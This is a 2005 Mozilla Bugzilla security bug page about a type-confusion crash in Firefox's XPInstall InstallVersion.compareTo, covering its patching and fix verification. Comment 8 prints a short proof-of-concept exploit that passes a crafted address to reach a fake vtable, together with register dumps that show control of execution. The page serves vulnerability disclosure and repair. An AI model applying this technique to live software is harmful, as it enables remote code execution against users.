Last Comment Bug 295854 - (new InstallVersion()).compareTo(/x/) crashes [@ConvertJSValToObj]
: (new InstallVersion()).compareTo(/x/) crashes [@ConvertJSValToObj]
Status: RESOLVED FIXED
[sg:fix]
: crash, fixed-aviary1.0.5, fixed1.7.9, testcase
Product: Core Graveyard
Classification: Graveyard
Component: Installer: XPInstall Engine (show other bugs)
: Trunk
: x86 Windows XP
: -- critical (vote)
: ---
Assigned To: timeless
:
:
Mentors:
javascript: (new InstallVersion()).co...
Depends on:
Blocks: sbb?
  Show dependency treegraph
 
Reported: 2005-05-28 23:52 PDT by shutdown
Modified: 2015-12-11 07:21 PST (History)
9 users (show)
dveditz: blocking1.7.9+
dveditz: blocking‑aviary1.0.5+
dveditz: blocking1.8b3+
jruderman: in‑testsuite-
See Also:
QA Whiteboard:
Iteration: ---
Points: ---


Attachments
use nsisupports marking (21.09 KB, patch)
2005-05-29 08:44 PDT, timeless
dveditz: review-
Details | Diff | Splinter Review
proof-of-concept exploit (1.10 KB, text/html)
2005-05-29 20:57 PDT, shutdown
no flags Details
use JS_InstanceOf (8.58 KB, patch)
2005-06-15 20:25 PDT, timeless
dveditz: review+
dveditz: superreview+
dveditz: approval‑aviary1.0.5+
dveditz: approval1.7.9+
dveditz: approval1.8b3+
Details | Diff | Splinter Review
nsisupports marker (638 bytes, patch)
2005-06-16 00:08 PDT, timeless
dveditz: review+
dveditz: superreview+
dveditz: approval‑aviary1.0.5+
dveditz: approval1.7.9+
dveditz: approval1.8b3+
Details | Diff | Splinter Review
remove extra definitions (4.14 KB, patch)
2005-06-16 00:09 PDT, timeless
dveditz: review+
dveditz: superreview+
dveditz: approval‑aviary1.0.5+
dveditz: approval1.7.9+
dveditz: approval1.8b3+
Details | Diff | Splinter Review
handle null (1.18 KB, patch)
2005-06-16 18:23 PDT, timeless
dveditz: review+
dveditz: superreview+
dveditz: approval‑aviary1.0.5+
dveditz: approval1.7.9+
dveditz: approval1.8b3+
Details | Diff | Splinter Review

Description shutdown 2005-05-28 23:52:21 PDT
User-Agent:       Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Build Identifier: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8b2) Gecko/20050528 Firefox/1.0+ (2005052806)



Reproducible: Always

Steps to Reproduce:
1. navigate the browser to
javascript: (new InstallVersion()).compareTo(/x/);
Actual Results:  
the browser crashes.

Expected Results:  
do not crash and fail softly.

FIREFOX caused an invalid page fault in
module XPINSTAL.DLL at 015f:60056d04.
Comment 1 Hermann Schwab 2005-05-29 02:01:42 PDT
http://talkback-public.mozilla.org/talkback/fastfind.jsp?search=2&type=iid&id=TB6213056H

Stack Signature	 ConvertJSValToObj 17af286a
Product ID	MozillaTrunk
Build ID	2005052706
Trigger Time	2005-05-29 01:51:03.0
Platform	Win32
Operating System	Windows 98 4.10 build 67766222
Module	XPINSTAL.DLL + (00006c0d)
URL visited	javascript: (new InstallVersion()).compareTo(/x/);
User Comments	Bug 295854 (new InstallVersion()).compareTo(/x/) crashes
Since Last Crash	146 sec
Total Uptime	146 sec
Trigger Reason	Access violation
Source File, Line No.
c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/xpinstall/src/nsJSInstall.cpp,
line 308
Stack Trace 	
ConvertJSValToObj 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/xpinstall/src/nsJSInstall.cpp,
line 308]
InstallVersionCompareTo 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/xpinstall/src/nsJSInstallVersion.cpp,
line 470]
js_Invoke 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/js/src/jsinterp.c,
line 1182]
js_Interpret 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/js/src/jsinterp.c,
line 3473]
js_Execute 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/js/src/jsinterp.c,
line 1413]
JS_EvaluateUCScriptForPrincipals 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/js/src/jsapi.c, line
3793]
nsJSContext::EvaluateString 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/dom/src/base/nsJSEnvironment.cpp,
line 1037]
nsJSThunk::EvaluateScript 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/dom/src/jsurl/nsJSProtocolHandler.cpp,
line 255]
nsJSChannel::InternalOpen 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/dom/src/jsurl/nsJSProtocolHandler.cpp,
line 508]
nsJSChannel::AsyncOpen 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/dom/src/jsurl/nsJSProtocolHandler.cpp,
line 480]
nsURILoader::OpenURI 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/uriloader/base/nsURILoader.cpp,
line 878]
nsDocShell::DoChannelLoad 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsDocShell.cpp,
line 6580]
nsDocShell::DoURILoad 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsDocShell.cpp,
line 6438]
nsDocShell::InternalLoad 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsDocShell.cpp,
line 6205]
nsWebShell::OnLinkClickSync 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsWebShell.cpp,
line 552]
OnLinkClickEvent::HandleEvent 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsWebShell.cpp,
line 348]
PL_HandleEvent 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/xpcom/threads/plevent.c,
line 699]
0x778b0c24
Comment 2 Ali Ebrahim 2005-05-29 02:16:44 PDT
TB6213255E for me
Comment 4 timeless 2005-05-29 03:17:05 PDT
dougt: cvs blame blames you
812 #define JSCLASS_HAS_PRIVATE             (1<<0)  /* objects have private slot */
813 #define JSCLASS_NEW_ENUMERATE           (1<<1)  /* has JSNewEnumerateOp hook */
814 #define JSCLASS_NEW_RESOLVE             (1<<2)  /* has JSNewResolveOp hook */
815 #define JSCLASS_PRIVATE_IS_NSISUPPORTS  (1<<3)  /* private is (nsISupports *) */

JSCLASS_HAS_PRIVATE does not mean PRIVATE_IS_NSISUPPORTS.
Comment 6 timeless 2005-05-29 08:44:06 PDT
Created attachment 184810 [details] [diff] [review]
use nsisupports marking

dougt: wrong blame.
http://bonsai.mozilla.org/cvsblame.cgi?file=/mozilla/xpinstall/src/nsJSInstall.cpp&mark=303-308&rev=1.116#308

http://bonsai.mozilla.org/cvsblame.cgi?file=/mozilla/xpinstall/src/nsJSInstallVersion.cpp&mark=458-470&rev=1.23#470


note that i'm backing out some silly changes brendan made with context which
should make it clear *why* i'm backing them out. they aren't strictly related
to this bug, but those code changes introduced poor error reporting for cases
which the code already handled. if someone really cares, they can be split into
another bug.
Comment 7 shutdown 2005-05-29 20:57:26 PDT
Created attachment 184834 [details]
proof-of-concept exploit

[SECURITY ALERT]

This bug is possibly remotely exploitable if the address of
the heap memory is predictable (depends on OS/libc/etc...).
Comment 8 shutdown 2005-05-29 21:29:24 PDT
function exploitCode() {
  var xxAddress = 0x00400000;
  //
  // struct vtbl { void (*code)(void); };
  // struct data { struct vtbl *pvtbl; };
  //
  // struct data *pdata = (struct data *)(xxAddress & ~0x01);
  // pdata->pvtbl->code(pdata);
  //
  (new InstallVersion).compareTo(new Number(xxAddress >> 1));
}

-----

On my machine (Firefox 1.0.4/Win98):

// struct data *pdata = (struct data *)(xxAddress & ~0x01);
dwords@0x00400000 = { 0x00905a4d, 0x00000003, 0x00000004, 0x0000ffff };
// struct vtbl *pvtbl = pdata->vtbl;
dwords@0x00905a4d = { 0xfdfffdff, 0xfd2822ff, 0xfdfffdff, 0xfdfffdff };

FIREFOX caused an invalid page fault in
module <unknown> at 0000:fdfffdff.
Registers:
EAX=00400000 CS=015f EIP=fdfffdff EFLGS=00010246
EBX=00000000 SS=0167 ESP=00c9e968 EBP=00c9ea80
ECX=00905a4d DS=0167 ESI=01788c18 FS=570f
EDX=600bd628 ES=0167 EDI=0288c900 GS=0000
Bytes at CS:EIP:

Stack dump:
60047112 00400000 6005c914 00c9eb60 02a3cef4 018fd1e4 00c9e9b4 60095104
0288c900 017c4a70 600b3574 00cccf32 00000000 00000000 00000004 00000000

-----

The attacker can construct fake data/vtbl structures on the heap and
its address can be given to the buggy code using JavaScript Number
object (only when he/she can predict the address of the fake data).
Comment 9 Daniel Veditz [:dveditz] 2005-05-31 12:33:56 PDT
Nominating for bug bounty
Comment 10 Daniel Veditz [:dveditz] 2005-06-14 13:24:14 PDT
Comment on attachment 184810 [details] [diff] [review]
use nsisupports marking

This patch was given r- over IRC, the main bit of the patch should use
JS_InstanceOf() and only try to convert an object of the expected type.
Comment 11 Daniel Veditz [:dveditz] 2005-06-14 13:24:42 PDT
Comment on attachment 184810 [details] [diff] [review]
use nsisupports marking

This patch was given r- over IRC, the main bit of the patch should use
JS_InstanceOf() and only try to convert an object of the expected type.
Comment 12 Daniel Veditz [:dveditz] 2005-06-14 14:34:50 PDT
Comment on attachment 184810 [details] [diff] [review]
use nsisupports marking

>      //   public int AddDirectory(String version);  --OR--  VersionInfo version
> 
>     if(JSVAL_IS_OBJECT(argv[0]))

What I was getting at was change the above to

      if (JSVAL_IS_OBJECT(argv[0]) && 
	  JS_InstanceOf(cx, JSVAL_TO_OBJECT(argv[0]), &InstallVersionClass,
nsnull))

If you like you could instead change the ConvertJSValToObj() function to take
the JSClass structure instead of the string typename and do the instance check
in the converter. You'd get the string for the error messages from the JSClass
struct. If anyone else were calling that function that's what I'd want you to
do, but nsJSInstallVersion is the only consumer.
Comment 13 Jay Patel [:jay] 2005-06-15 18:46:45 PDT
Timeless:  Please take a look and see if you can get a new patch reviewed soon.
 Thanks.
Comment 14 timeless 2005-06-15 20:25:13 PDT
Created attachment 186432 [details] [diff] [review]
use JS_InstanceOf
Comment 15 Daniel Veditz [:dveditz] 2005-06-15 20:35:13 PDT
Comment on attachment 186432 [details] [diff] [review]
use JS_InstanceOf

r/sr=dveditz
a=dveditz for branch landing
Comment 16 Daniel Veditz [:dveditz] 2005-06-15 20:36:40 PDT
Comment on attachment 186432 [details] [diff] [review]
use JS_InstanceOf

r/sr=dveditz
a=dveditz for branch landing
Comment 17 Daniel Veditz [:dveditz] 2005-06-15 20:37:55 PDT
Sorry for the double-submit, bugzilla returned a 500 error so I thought the
first didn't go through.
Comment 18 shutdown 2005-06-15 23:53:31 PDT
> (In reply to comment #14)
> Created an attachment (id=186432) [edit]
> use JS_InstanceOf

InstallVersionClass also needs JSCLASS_PRIVATE_IS_NSISUPPORTS flag.
http://lxr.mozilla.org/seamonkey/source/xpinstall/src/nsJSInstallVersion.cpp#74

There are some unused prototype declarations of ConvertJSValToObj().
These declarations should be updated or removed to prevent confusion.
http://lxr.mozilla.org/seamonkey/ident?i=ConvertJSValToObj
Comment 19 timeless 2005-06-16 00:08:21 PDT
Created attachment 186450 [details] [diff] [review]
nsisupports marker
Comment 20 timeless 2005-06-16 00:09:03 PDT
Created attachment 186452 [details] [diff] [review]
remove extra definitions

if things ever need the function, the prototype really should be moved to a
header file.
Comment 21 Daniel Veditz [:dveditz] 2005-06-16 01:41:15 PDT
Comment on attachment 186452 [details] [diff] [review]
remove extra definitions

r/sr/a=dveditz
Comment 22 Daniel Veditz [:dveditz] 2005-06-16 01:41:39 PDT
Comment on attachment 186450 [details] [diff] [review]
nsisupports marker

r/sr/a=dveditz
Comment 23 timeless 2005-06-16 04:00:22 PDT
Comment on attachment 186432 [details] [diff] [review]
use JS_InstanceOf

mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.24
mozilla/xpinstall/src/nsJSInstall.cpp	1.117

MOZILLA_1_7_BRANCH
mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.19.94.2
mozilla/xpinstall/src/nsJSInstall.cpp	1.105.16.3

AVIARY_1_0_1_20050124_BRANCH
mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.19.108.2
mozilla/xpinstall/src/nsJSInstall.cpp	1.105.20.1.2.2
Comment 24 timeless 2005-06-16 04:45:49 PDT
Comment on attachment 186450 [details] [diff] [review]
nsisupports marker

mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.25
MOZILLA_1_7_BRANCH
mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.19.94.3
AVIARY_1_0_1_20050124_BRANCH
mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.19.108.3
Comment 25 timeless 2005-06-16 04:46:51 PDT
Comment on attachment 186452 [details] [diff] [review]
remove extra definitions

mozilla/xpinstall/src/nsJSWinReg.cpp	1.18
mozilla/xpinstall/src/nsJSWinProfile.cpp	1.13
mozilla/xpinstall/src/nsJSInstallTriggerGlobal.cpp	1.45
mozilla/xpinstall/src/nsJSFileSpecObj.cpp	1.8
mozilla/xpinstall/src/nsJSFile.cpp	1.38
MOZILLA_1_7_BRANCH
mozilla/xpinstall/src/nsJSWinReg.cpp	1.15.34.2
mozilla/xpinstall/src/nsJSWinProfile.cpp	1.9.34.3
mozilla/xpinstall/src/nsJSInstallTriggerGlobal.cpp	1.35.2.6
mozilla/xpinstall/src/nsJSFileSpecObj.cpp	1.5.34.2
mozilla/xpinstall/src/nsJSFile.cpp	1.33.28.3
AVIARY_1_0_1_20050124_BRANCH
mozilla/xpinstall/src/nsJSWinReg.cpp	1.15.48.2
mozilla/xpinstall/src/nsJSWinProfile.cpp	1.9.48.3
mozilla/xpinstall/src/nsJSInstallTriggerGlobal.cpp	1.35.6.4.2.4
mozilla/xpinstall/src/nsJSFileSpecObj.cpp	1.5.48.2
mozilla/xpinstall/src/nsJSFile.cpp	1.33.42.3
Comment 26 shutdown 2005-06-16 08:55:03 PDT
javascript: (new InstallVersion()).compareTo(null);
still crashes.
Comment 27 timeless 2005-06-16 18:23:59 PDT
Created attachment 186542 [details] [diff] [review]
handle null
Comment 28 shutdown 2005-06-21 07:24:01 PDT
> (In reply to comment #14)
> Created an attachment (id=186432)
> use JS_InstanceOf

| JSClass InstallClass = {
|   "Install",
|-  JSCLASS_HAS_PRIVATE,
|+  JSCLASS_HAS_PRIVATE | JSCLASS_PRIVATE_IS_NSISUPPORTS,
|   JS_PropertyStub,
|   JS_PropertyStub,
|   GetInstallProperty,

I think that this change caused bug 298054.
InstallClass's private data is nsInstall*, which is not
XPCOM object and hence does not expose nsISupports interface.
Such invalid flag confuses nsScriptSecurityManager::doGetObjectPrincipal().
http://lxr.mozilla.org/seamonkey/source/caps/src/nsScriptSecurityManager.cpp#199
6
Comment 29 Daniel Veditz [:dveditz] 2005-06-21 17:57:09 PDT
Comment on attachment 186542 [details] [diff] [review]
handle null

r/sr=dveditz
Comment 30 Daniel Veditz [:dveditz] 2005-06-23 11:50:48 PDT
shutdown: mail to you is bouncing, please contact chofmann@mozilla.org
Comment 31 Jay Patel [:jay] 2005-07-06 18:37:39 PDT
v.fixed on aviary with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9)
Gecko/20050706 Firefox/1.0.5 using proof-of-concept...nothing bad happens.
Comment 32 shutdown 2005-07-07 00:08:29 PDT
javascript: (new InstallVersion()).compareTo(null);
null argument case is not fixed.

Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8b2) Gecko/20050706 Firefox/1.0+
Comment 33 Daniel Veditz [:dveditz] 2005-07-07 11:46:40 PDT
(In reply to comment #32)
> javascript: (new InstallVersion()).compareTo(null);
> null argument case is not fixed.

Thanks for catching this. This leads to a null de-ref crash that should not be
exploitable, but timeless is going to check in the forgotten patch.
Comment 34 Daniel Veditz [:dveditz] 2005-07-07 11:47:36 PDT
Comment on attachment 186542 [details] [diff] [review]
handle null

a=jay for landing on trunk and branches (driver mtg)
Comment 35 timeless 2005-07-07 12:46:12 PDT
Comment on attachment 186542 [details] [diff] [review]
handle null

mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.26
MOZILLA_1_7_BRANCH
mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.19.94.4
AVIARY_1_0_1_20050124_BRANCH 
mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.19.108.4
Comment 36 Daniel Veditz [:dveditz] 2005-07-12 11:35:16 PDT
Adding distributors
Comment 37 Daniel Veditz [:dveditz] 2005-07-12 18:05:28 PDT
Security advisories published
Comment 38 Aviv Raff 2005-07-17 03:01:58 PDT
Why is the severity in the advisory set to 'Moderate'?
Isn't this vulnerability can be potentially exploited for automatic remote 
code execution?
Are you waiting for an exploit in the wild before you set it to an higher 
severity?
Comment 39 Jesse Ruderman 2009-02-12 21:29:18 PST
in-testsuite-: InstallVersion is no more.

Note You need to log in before you can comment on or make changes to this bug.